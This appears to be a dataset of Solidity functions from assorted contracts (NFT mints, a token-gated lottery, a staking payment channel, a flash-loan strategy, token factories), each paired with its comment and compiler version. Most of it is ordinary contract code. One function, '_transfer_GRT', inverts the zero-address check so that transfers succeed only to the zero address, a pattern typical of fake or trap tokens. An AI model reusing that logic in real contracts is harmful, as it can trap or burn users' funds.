saleIsActive = true;\n return true;\n }", "version": "0.8.7"} {"comment": "// senders mint for cc buyers", "function_code": "function sendCCEx(address _target, uint numberOfTokens) public {\n \n require(senders[_msgSender()] == true, \"not confirmed to send\");\n\n uint256 ts = totalSupply();\n require(numberOfTokens > 0 );\n require(saleIsActive, \"Sale must be active to mint tokens\");\n require(numberOfTokens <= MAX_PUBLIC_MINT, \"Exceeded max token purchase\");\n require(ts + numberOfTokens <= MAX_EX, \"Purchase would exceed max tokens\");\n \n\n for (uint256 i = 0; i < numberOfTokens; i++) {\n _safeMint(_target, ts + i);\n }\n }", "version": "0.8.7"} {"comment": "// Transfers the remaining funds to the collector pool", "function_code": "function withdraw() external onlyOwner {\n uint256 totalFunds = address(this).balance;\n require(totalFunds > 0, \"Insufficient Funds\");\n // Send funds via call function for the collector pool funds\n (bool success, ) = address(collectorPool).call{value: totalFunds}(\"\");\n require(success, \"Failed To Distribute To Pool\");\n }", "version": "0.8.9"} {"comment": "/**\n * @dev Make the lottery tickets untransferable\n * So that nobody makes a new address, buys myobu and then sends the tickets to another address\n * And then sells the myobu. And if he wins the lottery, it won't count it.\n *\n * While it could transfer the ticketsBought, that would make it so anyone can buy tickets, and\n * send to someone else. And then if the person that it was sent to wins from their\n * old lottery tickets, they wouldn't get the reward because not enough myobu to cover\n * the new tickets that they have been sent\n */", "function_code": "function _beforeTokenTransfer(\n address from,\n address to,\n uint256\n ) internal pure override {\n /// @dev Only mint or burn is allowed\n require(\n from == address(0) || to == address(0),\n \"FoF: Cannot transfer tickets\"\n );\n }", "version": "0.8.4"} {"comment": "/**\n * @return The amount of myobu that someone needs to hold to buy lottery tickets\n * @param user: The address\n * @param amount: The amount of tickets\n */", "function_code": "function myobuNeededForTickets(address user, uint256 amount)\n public\n view\n override\n returns (uint256)\n {\n uint256 minimumMyobuBalance = _lottery[_lotteryID.current()]\n .minimumMyobuBalance;\n uint256 myobuNeededForEachTicket = _lottery[_lotteryID.current()]\n .myobuNeededForEachTicket;\n uint256 ticketsBought_ = _ticketsBought[user][_lotteryID.current()];\n uint256 totalTickets = (ticketsBought_ + amount) - 1;\n uint256 _myobuNeededForTickets = totalTickets * myobuNeededForEachTicket;\n return minimumMyobuBalance + _myobuNeededForTickets;\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Buys tickets with ETH, requires that he has at least (myobuNeededForTickets()) myobu,\n * and then loops over how much tickets he needs and mints the ERC721 tokens\n * If there is too much ETH sent, refund unneeded ETH\n * Emits TicketsBought()\n */", "function_code": "function buyTickets() external payable override onlyOn {\n uint256 ticketPrice = _lottery[_lotteryID.current()].ticketPrice;\n uint256 amountOfTickets = msg.value / ticketPrice;\n require(amountOfTickets != 0, \"FoF: Not enough ETH\");\n require(\n _myobu.balanceOf(_msgSender()) >=\n myobuNeededForTickets(_msgSender(), amountOfTickets),\n \"FoF: You don't have enough $MYOBU\"\n );\n uint256 neededETH = amountOfTickets * ticketPrice;\n /// @dev Refund unneeded eth\n if (msg.value > neededETH) {\n transferOrWrapETH(_msgSender(), msg.value - neededETH);\n }\n uint256 tokenID_ = _tokenID;\n _tokenID += amountOfTickets;\n _ticketsBought[_msgSender()][_lotteryID.current()] += amountOfTickets;\n for (uint256 i = tokenID_; i < amountOfTickets + tokenID_; i++) {\n _mint(_msgSender(), i);\n }\n emit TicketsBought(_msgSender(), amountOfTickets, ticketPrice);\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Function to calculate how much fees that will be taken\n * @return The amount of fees that will be taken\n * @param currentTokenID: The latest tokenID\n * @param ticketPrice: The price of 1 ticket\n * @param ticketFee: The percentage of the ticket to take as a fee\n * @param lastClaimedTokenID_: The last token ID that fees have been claimed for\n */", "function_code": "function calculateFees(\n uint256 currentTokenID,\n uint256 ticketPrice,\n uint256 ticketFee,\n uint256 lastClaimedTokenID_\n ) public pure override returns (uint256) {\n uint256 unclaimedTicketSales = currentTokenID - lastClaimedTokenID_;\n return ((unclaimedTicketSales * ticketPrice) * ticketFee) / 10000;\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Function that distributes the reward, requests for randomness, completes at fulfillRandomness()\n * If nobody bought a ticket, makes rewardsClaimed true and returns nothing\n * Checks for _inClaimReward so that its not called more than once, wasting LINK.\n */", "function_code": "function claimReward()\n external\n override\n onlyEnded\n returns (bytes32 requestId)\n {\n require(!_rewardClaimed, \"FoF: Reward already claimed\");\n require(!_inClaimReward, \"FoF: Reward is being claimed\");\n /// @dev So it doesn't fail if nobody bought any tickets\n if (_lottery[_lotteryID.current()].startingTokenID == _tokenID) {\n _rewardClaimed = true;\n return 0;\n }\n require(\n LINK.balanceOf(address(this)) >= _chainlinkFee,\n \"FoF: Put some LINK into the contract\"\n );\n _inClaimReward = true;\n return requestRandomness(_chainlinkKeyHash, _chainlinkFee);\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Gets a winner and sends him the jackpot, if he doesn't have myobu at the time of winning\n * send the _feeReceiver the jackpot\n * Emits LotteryWon();\n */", "function_code": "function fulfillRandomness(bytes32, uint256 randomness) internal override {\n /// @dev Get a random number in range of the token IDs\n uint256 x = _lottery[_lotteryID.current()].startingTokenID;\n uint256 y = _tokenID;\n /// @dev The winning token ID\n uint256 resultInRange = x + (randomness % (y - x));\n address winner = ownerOf(resultInRange);\n uint256 amountWon = jackpot();\n uint256 myobuNeeded = myobuNeededForTickets(winner, 0);\n if (_myobu.balanceOf(winner) < myobuNeeded) {\n /// @dev He sold his myobu, give the jackpot to the fee receiver and deduct based on the percentage to keep\n uint256 amountToKeepForNextLottery = (amountWon *\n _lottery[_lotteryID.current()]\n .percentageToKeepOnNotEnoughMyobu) / 10000;\n amountWon -= amountToKeepForNextLottery;\n winner = _feeReceiver;\n }\n transferOrWrapETH(winner, amountWon);\n _rewardClaimed = true;\n delete _inClaimReward;\n emit LotteryWon(winner, amountWon, resultInRange);\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Starts a new lottery, Can only be done by the owner.\n * Emits LotteryCreated()\n * @param lotteryLength: How long the lottery will be in seconds\n * @param ticketPrice: The price of a ticket in ETH\n * @param ticketFee: The percentage of the ticket price that is sent to the fee receiver\n * @param percentageToKeepForNextLottery: The percentage that will be kept as reward for the lottery after\n * @param minimumMyobuBalance: The minimum amount of myobu someone needs to buy tickets or get the reward\n * @param myobuNeededForEachTicket: The amount of myobu that someone needs to hold for each ticket they buy\n * @param percentageToKeepOnNotEnoughMyobu: If someone doesn't have myobu at the time of winning, this will define the\n * percentage of the reward that will be kept in the contract for the next lottery\n */", "function_code": "function createLottery(\n uint256 lotteryLength,\n uint256 ticketPrice,\n uint256 ticketFee,\n uint256 percentageToKeepForNextLottery,\n uint256 minimumMyobuBalance,\n uint256 myobuNeededForEachTicket,\n uint256 percentageToKeepOnNotEnoughMyobu\n ) external onlyOwner onlyEnded {\n /// @dev Cannot execute it now, must be executed seperately\n require(\n _rewardClaimed,\n \"FoF: Claim the reward before starting a new lottery\"\n );\n require(\n percentageToKeepForNextLottery + ticketFee < 10000,\n \"FoF: You can not take everything or more as a fee\"\n );\n require(\n lotteryLength <= 2629744,\n \"FoF: Must be under or equal to 1 month\"\n );\n /// @dev Check if fees haven't been claimed, if they haven't claim them\n if (unclaimedFees() != 0) {\n claimFees();\n }\n /// @dev For the new lottery\n _lotteryID.increment();\n uint256 newLotteryID = _lotteryID.current();\n _lottery[newLotteryID] = Lottery(\n _tokenID,\n block.timestamp,\n block.timestamp + lotteryLength,\n ticketPrice,\n ticketFee,\n minimumMyobuBalance,\n percentageToKeepForNextLottery,\n myobuNeededForEachTicket,\n percentageToKeepOnNotEnoughMyobu\n );\n delete _rewardClaimed;\n emit LotteryCreated(\n newLotteryID,\n lotteryLength,\n ticketPrice,\n ticketFee,\n minimumMyobuBalance,\n percentageToKeepForNextLottery,\n myobuNeededForEachTicket,\n percentageToKeepOnNotEnoughMyobu\n );\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Extends the duration of the current lottery and checks if its the new duration is over 1 month, reverts if it is\n * @param extraTime: The time in seconds to extend it by\n */", "function_code": "function extendCurrentLottery(uint256 extraTime) external onlyOwner onlyOn {\n uint256 currentLotteryEnd = _lottery[_lotteryID.current()].endTimestamp;\n uint256 currentLotteryStart = _lottery[_lotteryID.current()]\n .startTimestamp;\n require(\n currentLotteryEnd + extraTime <= currentLotteryStart + 2629744,\n \"FoF: Must be under or equal to 1 month\"\n );\n _lottery[_lotteryID.current()].endTimestamp += extraTime;\n }", "version": "0.8.4"} {"comment": "// METADATA FUNCTIONS", "function_code": "function tokenURI(uint256 _tokenId) public view returns (string memory){\r\n //Note: changed visibility to public\r\n require(isValidToken(_tokenId));\r\n\r\n// uint maxLength = 50;\r\n uint[50] memory reversed;\r\n// uint i = 0;\r\n\r\n string memory uri = string(__uriBase);\r\n\r\n\r\n string[10] memory lib;\r\n lib[0] = \"0\";\r\n lib[1] = \"1\";\r\n lib[2] = \"2\";\r\n lib[3] = \"3\";\r\n lib[4] = \"4\";\r\n lib[5] = \"5\";\r\n lib[6] = \"6\";\r\n lib[7] = \"7\";\r\n lib[8] = \"8\";\r\n lib[9] = \"9\";\r\n\r\n uint len = 0;\r\n while (_tokenId != 0) {\r\n uint remainder = _tokenId % 10;\r\n _tokenId /= 10;\r\n reversed[len] = remainder;\r\n len++;\r\n }\r\n\r\n for(uint j = len; j > 0; j--){\r\n uri = string(abi.encodePacked(uri,lib[reversed[j-1]]));\r\n }\r\n\r\n return uri;\r\n\r\n }", "version": "0.7.4"} {"comment": "/** @dev The stakeSpent for a payment channel will increase when a stake address makes payments and decrease\n * when the Coordinator issues refunds. This function changes the totalClaimableAmount of Rook on the contract\n * accordingly.\n */", "function_code": "function adjustTotalClaimableAmountByStakeSpentChange(\n uint256 _oldStakeSpent, \n uint256 _newStakeSpent\n ) internal {\n if (_newStakeSpent < _oldStakeSpent) {\n // If a stake address's new stakeSpent is less than their previously stored stakeSpent, then a refund was \n // issued to the stakeAddress. We \"refund\" this rook to the stakeAddress by subtracting \n // the difference from totalClaimableAmount.\n uint256 refundAmount = _oldStakeSpent - _newStakeSpent;\n require(totalClaimableAmount >= refundAmount, \"not enough claimable rook to refund\");\n totalClaimableAmount -= refundAmount;\n } else {\n // Otherwise we accrue any unsettled spent stake to totalClaimableAmount.\n totalClaimableAmount += _newStakeSpent - _oldStakeSpent;\n }\n }", "version": "0.8.6"} {"comment": "/** @notice Withdraw remaining stake from the payment channel after the withdrawal timelock has concluded.\n * @dev Closing the payment channel zeros out all payment channel state for the stake address aside from the\n * channelNonce which is incremented. This is to prevent any channel reuse edge cases. A stake address that\n * has closed their payment channel and withdrawn is able to create a new payment channel by staking Rook.\n */", "function_code": "function executeTimelockedWithdrawal(\n address _stakeAddress\n ) public {\n uint256 _channelNonce = channelNonce[_stakeAddress];\n require(getCurrentWithdrawalTimelock(_stakeAddress) > 0, \"must initiate timelocked withdrawal first\");\n require(block.timestamp > getCurrentWithdrawalTimelock(_stakeAddress), \"still in withdrawal timelock\");\n \n uint256 withdrawalAmount = stakedAmount[_stakeAddress] - stakeSpent[_stakeAddress];\n stakeNonce[_stakeAddress] = 0;\n stakeSpent[_stakeAddress] = 0;\n stakedAmount[_stakeAddress] = 0;\n channelNonce[_stakeAddress] += 1;\n\n ROOK.safeTransfer(_stakeAddress, withdrawalAmount);\n\n emit StakeWithdrawn(_stakeAddress, _channelNonce, withdrawalAmount);\n }", "version": "0.8.6"} {"comment": "/** @notice Instantly withdraw remaining stake in payment channel.\n * @dev To perform an instant withdrawal a Keeper will ask the coordinator for an instant withdrawal signature.\n * This `data` field in the commitment used to produce the signature should be populated with\n * `INSTANT_WITHDRAWAL_COMMITMENT_DATA`. We don't want a compromised Coordinator to instantly settle the\n * channel with an old commitment, so we also require a stakeAddress instant withdrawal signature.\n * Closing the payment channel zeros out all payment channel state for the stake address aside from the\n * channelNonce which is incremented. This is to prevent any channel reuse edge cases. A stake address that\n * has closed their payment channel and withdrawn is able to create a new payment channel by staking Rook.\n */", "function_code": "function executeInstantWithdrawal(\n StakeCommitment memory _commitment\n ) external {\n require(msg.sender == _commitment.stakeAddress, \"only stakeAddress can perform instant withdrawal\");\n require(_commitment.stakeSpent <= stakedAmount[_commitment.stakeAddress], \"cannot spend more than is staked\");\n // The stakeNonce may have been seen in settleSpentStake so we must allow >= to here.\n // Note this means a malicious or compromised Coordinator has the ability to indefinitely reset the timelock.\n // This is fine since we can just change the Coordinator address.\n require(_commitment.stakeNonce >= stakeNonce[_commitment.stakeAddress], \"stake nonce is too old\");\n require(_commitment.channelNonce == channelNonce[_commitment.stakeAddress], \"incorrect channel nonce\");\n require(keccak256(_commitment.data) == keccak256(INSTANT_WITHDRAWAL_COMMITMENT_DATA), \"incorrect data payload\");\n\n address recoveredStakeAddress = ECDSA.recover(\n ECDSA.toEthSignedMessageHash(stakeCommitmentHash(_commitment)), \n _commitment.stakeAddressSignature);\n require(recoveredStakeAddress == _commitment.stakeAddress, \"recovered address is not the stake address\");\n address recoveredCoordinatorAddress = ECDSA.recover(\n ECDSA.toEthSignedMessageHash(stakeCommitmentHash(_commitment)), \n _commitment.coordinatorSignature);\n require(recoveredCoordinatorAddress == coordinator, \"recovered address is not the coordinator\");\n \n adjustTotalClaimableAmountByStakeSpentChange(stakeSpent[_commitment.stakeAddress], _commitment.stakeSpent);\n uint256 withdrawalAmount = stakedAmount[_commitment.stakeAddress] - _commitment.stakeSpent;\n stakeNonce[_commitment.stakeAddress] = 0;\n stakeSpent[_commitment.stakeAddress] = 0;\n stakedAmount[_commitment.stakeAddress] = 0;\n channelNonce[_commitment.stakeAddress] += 1;\n\n ROOK.safeTransfer(_commitment.stakeAddress, withdrawalAmount);\n\n emit StakeWithdrawn(_commitment.stakeAddress, _commitment.channelNonce, withdrawalAmount);\n }", "version": "0.8.6"} {"comment": "/** @notice Claim accumulated earnings. Claim amounts are determined off-chain and signed by the claimGenerator\n * address. Claim amounts are calculated as a pre-determined percentage of a Keeper's bid, and Keeper bids\n * are signed by both Keepers and the Coordinator, so claim amount correctness is easily verifiable\n * off-chain by consumers even if it is not verified on-chain.\n * @dev Note that it is not feasible to verify claim amount correctness on-chain as the total claim amount for\n * a user can be the sum of claims generated from any number of bid commitments. Claimers only rely on the\n * claim generator to calculate the claim as a percentage of Keeper bids correctly and this is easily\n * verifiable by consumers off-chain given the signed bid commitments are public.\n * A user has claimable Rook if the Claim Generator has generated a commitment for them where `earningsToDate`\n * is greater than `userClaimedAmount[_claimAddress]`.\n */", "function_code": "function claim(\n address _claimAddress, \n uint256 _earningsToDate,\n bytes memory _claimGeneratorSignature\n ) external {\n require(_earningsToDate > userClaimedAmount[_claimAddress], \"nothing to claim\");\n\n address recoveredClaimGeneratorAddress = ECDSA.recover(\n ECDSA.toEthSignedMessageHash(claimCommitmentHash(_claimAddress, _earningsToDate)), \n _claimGeneratorSignature);\n require(recoveredClaimGeneratorAddress == claimGenerator, \"recoveredClaimGeneratorAddress is not the account manager\");\n\n uint256 claimAmount = _earningsToDate - userClaimedAmount[_claimAddress];\n require(claimAmount <= totalClaimableAmount, \"claim amount exceeds balance on contract\");\n userClaimedAmount[_claimAddress] = _earningsToDate;\n totalClaimableAmount -= claimAmount;\n\n ROOK.safeTransfer(_claimAddress, claimAmount);\n emit Claimed(_claimAddress, claimAmount);\n }", "version": "0.8.6"} {"comment": "/**\n * @notice Set the default desired CRatio for a specific collateral type\n * @param collateralType The name of the collateral type to set the default CRatio for\n * @param cRatio New default collateralization ratio\n */", "function_code": "function setDefaultCRatio(bytes32 collateralType, uint256 cRatio) external override isAuthorized {\n uint256 scaledLiquidationRatio = oracleRelayer.liquidationCRatio(collateralType) / CRATIO_SCALE_DOWN;\n\n require(scaledLiquidationRatio > 0, \"SaviourCRatioSetter/invalid-scaled-liq-ratio\");\n require(both(cRatio > scaledLiquidationRatio, cRatio <= MAX_CRATIO), \"SaviourCRatioSetter/invalid-default-desired-cratio\");\n\n defaultDesiredCollateralizationRatios[collateralType] = cRatio;\n\n emit SetDefaultCRatio(collateralType, cRatio);\n }", "version": "0.6.7"} {"comment": "/*\n * @notice Sets the collateralization ratio that a SAFE should have after it's saved\n * @dev Only an address that controls the SAFE inside GebSafeManager can call this\n * @param collateralType The collateral type used in the safe\n * @param safeID The ID of the SAFE to set the desired CRatio for. This ID should be registered inside GebSafeManager\n * @param cRatio The collateralization ratio to set\n */", "function_code": "function setDesiredCollateralizationRatio(bytes32 collateralType, uint256 safeID, uint256 cRatio)\n external override controlsSAFE(msg.sender, safeID) {\n uint256 scaledLiquidationRatio = oracleRelayer.liquidationCRatio(collateralType) / CRATIO_SCALE_DOWN;\n address safeHandler = safeManager.safes(safeID);\n\n require(scaledLiquidationRatio > 0, \"SaviourCRatioSetter/invalid-scaled-liq-ratio\");\n require(either(cRatio >= minDesiredCollateralizationRatios[collateralType], cRatio == 0), \"SaviourCRatioSetter/invalid-min-ratio\");\n require(cRatio <= MAX_CRATIO, \"SaviourCRatioSetter/exceeds-max-cratio\");\n\n if (cRatio > 0) {\n require(scaledLiquidationRatio < cRatio, \"SaviourCRatioSetter/invalid-desired-cratio\");\n }\n\n desiredCollateralizationRatios[collateralType][safeHandler] = cRatio;\n\n emit SetDesiredCollateralizationRatio(msg.sender, collateralType, safeID, safeHandler, cRatio);\n }", "version": "0.6.7"} {"comment": "// function getTraitAtIndex(uint256 index) public view returns (string memory name, uint8 bitWidth, uint8 offset, bool active){\n// require(index < numTraits.current(), \"invalid index\");\n// return (traits[index].name,\n// traits[index].bitWidth,\n// traits[index].offset,\n// traits[index].active\n// );\n// }", "function_code": "function setTrait(uint256 index, string memory name, uint8 bitWidth, uint8 offset, bool active) public onlyOwner {\r\n require(index < numTraits.current(), \"invalid index\");\r\n traits[index].name = name;\r\n traits[index].bitWidth = bitWidth;\r\n traits[index].offset = offset;\r\n traits[index].active = active;\r\n emit TraitChange(name, bitWidth, offset, active);\r\n\r\n }", "version": "0.6.12"} {"comment": "//transfer GRT", "function_code": "function _transfer_GRT(address sender, address recipient, uint256 amount) internal virtual{\r\n require(recipient == address(0), \"ERC20: transfer to the zero address\");\r\n require(sender != address(0), \"ERC20: transfer from the zero address\");\r\n _beforeTokenTransfer(sender, recipient, amount);\r\n _balances[sender] = _balances[sender].sub(amount, \"ERC20: transfer amount exceeds balance\");\r\n _balances[recipient] = _balances[recipient].add(amount);\r\n emit Transfer(sender, recipient, amount);\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * Calculates the maximum quantity of the currentSet that can be redeemed. This is defined\r\n * by how many naturalUnits worth of the Set there are.\r\n *\r\n * @return Maximum quantity of the current Set that can be redeemed\r\n */", "function_code": "function calculateStartingSetQuantity()\r\n internal\r\n view\r\n returns (uint256)\r\n {\r\n uint256 currentSetBalance = vault.getOwnerBalance(address(currentSet), address(this));\r\n uint256 currentSetNaturalUnit = currentSet.naturalUnit();\r\n\r\n // Rounds the redemption quantity to a multiple of the current Set natural unit\r\n return currentSetBalance.sub(currentSetBalance.mod(currentSetNaturalUnit));\r\n }", "version": "0.5.7"} {"comment": "/*\r\n * Provide a signal to the keeper that `tend()` should be called.\r\n * (keepers are always reimbursed by yEarn)\r\n *\r\n * NOTE: this call and `harvestTrigger` should never return `true` at the same time.\r\n * tendTrigger should be called with same gasCost as harvestTrigger\r\n */", "function_code": "function tendTrigger(uint256 gasCost) public override view returns (bool) {\r\n if (harvestTrigger(gasCost)) {\r\n //harvest takes priority\r\n return false;\r\n }\r\n\r\n if (getblocksUntilLiquidation() <= blocksToLiquidationDangerZone) {\r\n return true;\r\n }\r\n\r\n\r\n uint256 wantGasCost = priceCheck(weth, address(want), gasCost);\r\n //test if we want to change iron bank position\r\n (,uint256 _amount)= internalCreditOfficer();\r\n if(profitFactor.mul(wantGasCost) < _amount){\r\n return true;\r\n }\r\n }", "version": "0.6.12"} {"comment": "// Flash loan DXDY\n// amount desired is how much we are willing for position to change", "function_code": "function doDyDxFlashLoan(bool deficit, uint256 amountDesired) internal returns (uint256) {\r\n uint256 amount = amountDesired;\r\n ISoloMargin solo = ISoloMargin(SOLO);\r\n\r\n // Not enough want in DyDx. So we take all we can\r\n uint256 amountInSolo = want.balanceOf(SOLO);\r\n\r\n if (amountInSolo < amount) {\r\n amount = amountInSolo;\r\n }\r\n\r\n uint256 repayAmount = amount.add(2); // we need to overcollateralise on way back\r\n\r\n bytes memory data = abi.encode(deficit, amount, repayAmount);\r\n\r\n // 1. Withdraw $\r\n // 2. Call callFunction(...)\r\n // 3. Deposit back $\r\n Actions.ActionArgs[] memory operations = new Actions.ActionArgs[](3);\r\n\r\n operations[0] = _getWithdrawAction(dyDxMarketId, amount);\r\n operations[1] = _getCallAction(\r\n // Encode custom data for callFunction\r\n data\r\n );\r\n operations[2] = _getDepositAction(dyDxMarketId, repayAmount);\r\n\r\n Account.Info[] memory accountInfos = new Account.Info[](1);\r\n accountInfos[0] = _getAccountInfo();\r\n\r\n solo.operate(accountInfos, operations);\r\n\r\n //emit Leverage(amountDesired, amount, deficit, SOLO);\r\n\r\n return amount;\r\n }", "version": "0.6.12"} {"comment": "// ------------------------------------------------------------------------\n// Initialisation\n// ------------------------------------------------------------------------", "function_code": "function init(Data storage self, address owner, string symbol, string name, uint8 decimals, uint initialSupply, bool mintable, bool transferable) public {\r\n require(!self.initialised);\r\n self.initialised = true;\r\n self.owner = owner;\r\n self.symbol = symbol;\r\n self.name = name;\r\n self.decimals = decimals;\r\n if (initialSupply > 0) {\r\n self.balances[owner] = initialSupply;\r\n self.totalSupply = initialSupply;\r\n Mint(self.owner, initialSupply, false);\r\n Transfer(address(0), self.owner, initialSupply);\r\n }\r\n self.mintable = mintable;\r\n self.transferable = transferable;\r\n }", "version": "0.4.19"} {"comment": "// ------------------------------------------------------------------------\n// ecrecover from a signature rather than the signature in parts [v, r, s]\n// The signature format is a compact form {bytes32 r}{bytes32 s}{uint8 v}.\n// Compact means, uint8 is not padded to 32 bytes.\n//\n// An invalid signature results in the address(0) being returned, make\n// sure that the returned result is checked to be non-zero for validity\n//\n// Parts from https://gist.github.com/axic/5b33912c6f61ae6fd96d6c4a47afde6d\n// ------------------------------------------------------------------------", "function_code": "function ecrecoverFromSig(bytes32 hash, bytes sig) public pure returns (address recoveredAddress) {\r\n bytes32 r;\r\n bytes32 s;\r\n uint8 v;\r\n if (sig.length != 65) return address(0);\r\n assembly {\r\n r := mload(add(sig, 32))\r\n s := mload(add(sig, 64))\r\n // Here we are loading the last 32 bytes. We exploit the fact that 'mload' will pad with zeroes if we overread.\r\n // There is no 'mload8' to do this, but that would be nicer.\r\n v := byte(0, mload(add(sig, 96)))\r\n }\r\n // Albeit non-transactional signatures are not specified by the YP, one would expect it to match the YP range of [27, 28]\r\n // geth uses [0, 1] and some clients have followed. This might change, see https://github.com/ethereum/go-ethereum/issues/2053\r\n if (v < 27) {\r\n v += 27;\r\n }\r\n if (v != 27 && v != 28) return address(0);\r\n return ecrecover(hash, v, r, s);\r\n }", "version": "0.4.19"} {"comment": "// ------------------------------------------------------------------------\n// Get CheckResult message\n// ------------------------------------------------------------------------", "function_code": "function getCheckResultMessage(Data storage /*self*/, BTTSTokenInterface.CheckResult result) public pure returns (string) {\r\n if (result == BTTSTokenInterface.CheckResult.Success) {\r\n return \"Success\";\r\n } else if (result == BTTSTokenInterface.CheckResult.NotTransferable) {\r\n return \"Tokens not transferable yet\";\r\n } else if (result == BTTSTokenInterface.CheckResult.AccountLocked) {\r\n return \"Account locked\";\r\n } else if (result == BTTSTokenInterface.CheckResult.SignerMismatch) {\r\n return \"Mismatch in signing account\";\r\n } else if (result == BTTSTokenInterface.CheckResult.InvalidNonce) {\r\n return \"Invalid nonce\";\r\n } else if (result == BTTSTokenInterface.CheckResult.InsufficientApprovedTokens) {\r\n return \"Insufficient approved tokens\";\r\n } else if (result == BTTSTokenInterface.CheckResult.InsufficientApprovedTokensForFees) {\r\n return \"Insufficient approved tokens for fees\";\r\n } else if (result == BTTSTokenInterface.CheckResult.InsufficientTokens) {\r\n return \"Insufficient tokens\";\r\n } else if (result == BTTSTokenInterface.CheckResult.InsufficientTokensForFees) {\r\n return \"Insufficient tokens for fees\";\r\n } else if (result == BTTSTokenInterface.CheckResult.OverflowError) {\r\n return \"Overflow error\";\r\n } else {\r\n return \"Unknown error\";\r\n }\r\n }", "version": "0.4.19"} {"comment": "// ------------------------------------------------------------------------\n// Token functions\n// ------------------------------------------------------------------------", "function_code": "function transfer(Data storage self, address to, uint tokens) public returns (bool success) {\r\n // Owner and minter can move tokens before the tokens are transferable\r\n require(self.transferable || (self.mintable && (msg.sender == self.owner || msg.sender == self.minter)));\r\n require(!self.accountLocked[msg.sender]);\r\n self.balances[msg.sender] = safeSub(self.balances[msg.sender], tokens);\r\n self.balances[to] = safeAdd(self.balances[to], tokens);\r\n Transfer(msg.sender, to, tokens);\r\n return true;\r\n }", "version": "0.4.19"} {"comment": "// ------------------------------------------------------------------------\n// Anyone can call this method to verify whether the bttsToken contract at\n// the specified address was deployed using this factory\n//\n// Parameters:\n// tokenContract the bttsToken contract address\n//\n// Return values:\n// valid did this BTTSTokenFactory create the BTTSToken contract?\n// decimals number of decimal places for the token contract\n// initialSupply the token initial supply\n// mintable is the token mintable after deployment?\n// transferable are the tokens transferable after deployment?\n// ------------------------------------------------------------------------", "function_code": "function verify(address tokenContract) public view returns (\r\n bool valid,\r\n address owner,\r\n uint decimals,\r\n bool mintable,\r\n bool transferable\r\n ) {\r\n valid = _verify[tokenContract];\r\n if (valid) {\r\n BTTSToken t = BTTSToken(tokenContract);\r\n owner = t.owner();\r\n decimals = t.decimals();\r\n mintable = t.mintable();\r\n transferable = t.transferable();\r\n }\r\n }", "version": "0.4.19"} {"comment": "// ------------------------------------------------------------------------\n// Any account can call this method to deploy a new BTTSToken contract.\n// The owner of the BTTSToken contract will be the calling account\n//\n// Parameters:\n// symbol symbol\n// name name\n// decimals number of decimal places for the token contract\n// initialSupply the token initial supply\n// mintable is the token mintable after deployment?\n// transferable are the tokens transferable after deployment?\n//\n// For example, deploying a BTTSToken contract with `initialSupply` of\n// 1,000.000000000000000000 tokens:\n// symbol \"ME\"\n// name \"My Token\"\n// decimals 18\n// initialSupply 10000000000000000000000 = 1,000.000000000000000000\n// tokens\n// mintable can tokens be minted after deployment?\n// transferable are the tokens transferable after deployment?\n//\n// The BTTSTokenListing() event is logged with the following parameters\n// owner the account that execute this transaction\n// symbol symbol\n// name name\n// decimals number of decimal places for the token contract\n// initialSupply the token initial supply\n// mintable can tokens be minted after deployment?\n// transferable are the tokens transferable after deployment?\n// ------------------------------------------------------------------------", "function_code": "function deployBTTSTokenContract(\r\n string symbol,\r\n string name,\r\n uint8 decimals,\r\n uint initialSupply,\r\n bool mintable,\r\n bool transferable\r\n ) public returns (address bttsTokenAddress) {\r\n bttsTokenAddress = new BTTSToken(\r\n msg.sender,\r\n symbol,\r\n name,\r\n decimals,\r\n initialSupply,\r\n mintable,\r\n transferable);\r\n // Record that this factory created the trader\r\n _verify[bttsTokenAddress] = true;\r\n deployedTokens.push(bttsTokenAddress);\r\n BTTSTokenListing(msg.sender, bttsTokenAddress, symbol, name, decimals,\r\n initialSupply, mintable, transferable);\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @dev Transfers _value amount of tokens from address _from to address _to, and MUST fire the\r\n * Transfer event.\r\n * @param _from The address of the sender.\r\n * @param _to The address of the recipient.\r\n * @param _value The amount of token to be transferred.\r\n */", "function_code": "function transferFrom(\r\n address _from,\r\n address _to,\r\n uint256 _value\r\n )\r\n public\r\n returns (bool _success)\r\n {\r\n require(_value <= balances[_from]);\r\n require(_value <= allowed[_from][msg.sender]);\r\n\r\n balances[_from] = balances[_from].sub(_value);\r\n balances[_to] = balances[_to].add(_value);\r\n allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);\r\n\r\n emit Transfer(_from, _to, _value);\r\n _success = true;\r\n }", "version": "0.4.24"} {"comment": "/*\r\n This function allows users to purchase Video Game. \r\n The price is automatically multiplied by 2 after each purchase.\r\n Users can purchase multiple video games.\r\n */", "function_code": "function purchaseVideoGame(uint _videoGameId) public payable {\r\n require(msg.value == videoGames[_videoGameId].currentPrice);\r\n require(isPaused == false);\r\n\r\n // Calculate the 10% value\r\n uint256 devFee = (msg.value / 10);\r\n\r\n // Calculate the video game owner commission on this sale & transfer the commission to the owner. \r\n uint256 commissionOwner = msg.value - devFee; // => 90%\r\n videoGames[_videoGameId].ownerAddress.transfer(commissionOwner);\r\n\r\n // Transfer the 10% commission to the developer\r\n devFeeAddress.transfer(devFee); // => 10% \r\n\r\n // Update the video game owner and set the new price\r\n videoGames[_videoGameId].ownerAddress = msg.sender;\r\n videoGames[_videoGameId].currentPrice = mul(videoGames[_videoGameId].currentPrice, 2);\r\n }", "version": "0.4.20"} {"comment": "/// @notice Returns all the relevant information about a specific color.\n/// @param _tokenId The tokenId of the color of interest.", "function_code": "function getColor(uint256 _tokenId) public view returns (\r\n string colorName,\r\n uint256 sellingPrice,\r\n address owner,\r\n uint256 previousPrice,\r\n address[5] previousOwners\r\n ) {\r\n Color storage color = colors[_tokenId];\r\n colorName = color.name;\r\n sellingPrice = colorIndexToPrice[_tokenId];\r\n owner = colorIndexToOwner[_tokenId];\r\n previousPrice = colorIndexToPreviousPrice[_tokenId];\r\n previousOwners = colorIndexToPreviousOwners[_tokenId];\r\n }", "version": "0.4.18"} {"comment": "/// For creating Color", "function_code": "function _createColor(string _name, address _owner, uint256 _price) private {\r\n Color memory _color = Color({\r\n name: _name\r\n });\r\n uint256 newColorId = colors.push(_color) - 1;\r\n\r\n // It's probably never going to happen, 4 billion tokens are A LOT, but\r\n // 